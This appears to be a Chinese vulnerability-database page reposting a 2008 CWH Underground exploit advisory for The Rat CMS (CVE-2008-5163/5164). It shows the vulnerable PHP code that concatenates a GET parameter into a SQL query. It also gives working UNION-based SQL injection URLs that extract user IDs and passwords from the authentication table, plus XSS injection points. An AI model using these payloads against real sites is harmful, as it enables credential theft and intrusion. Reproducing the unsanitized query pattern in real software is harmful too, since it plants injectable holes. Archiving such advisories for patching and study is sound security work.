The Rat CMS (SQL/XSS) Multiple Remote Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052654 漏洞类型
发布时间 2008-06-28 更新时间 2008-06-28
CVE编号 CVE-2008-5163
CVE-2008-5164
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2008060070
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
 ==========================================================
  The Rat CMS (SQL/XSS) Multiple Remote Vulnerabilities
==========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 25 June 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : The Rat CMS
 VERSION     : Pre-Alpha 2
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/the-rat-cms
#####################################################

--- Remote SQL Injection ---

---------------------------------------
 Vulnerable File [viewarticle.php?id=]
---------------------------------------

@Line 5

   73:  $query = "SELECT title, content FROM news WHERE id=".$_GET['id'];
   74:  $result = mysql_query($query) or die('Error : ' . mysql_error()); 
   75:  $row = mysql_fetch_array($result, MYSQL_ASSOC); 


---------
 Exploit
---------

[+] http://[Target]/[trcms_path]/viewarticle.php?id=[SQL Injection]
[+] http://[Target]/[trcms_path]/viewarticle2.php?id=[SQL Injection]


-------------
 POC Exploit
-------------

http://192.168.24.25/trcms/viewarticle.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user--
http://192.168.24.25/trcms/viewarticle2.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user--


--- Remote XSS ---

---------
 Exploit
---------

[+] http://[Target]/[trcms_path]/viewarticle.php/<XSS>
[+] http://[Target]/[trcms_path]/viewarticle.php?id=<XSS>
[+] http://[Target]/[trcms_path]/viewarticle2.php?id=<XSS>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################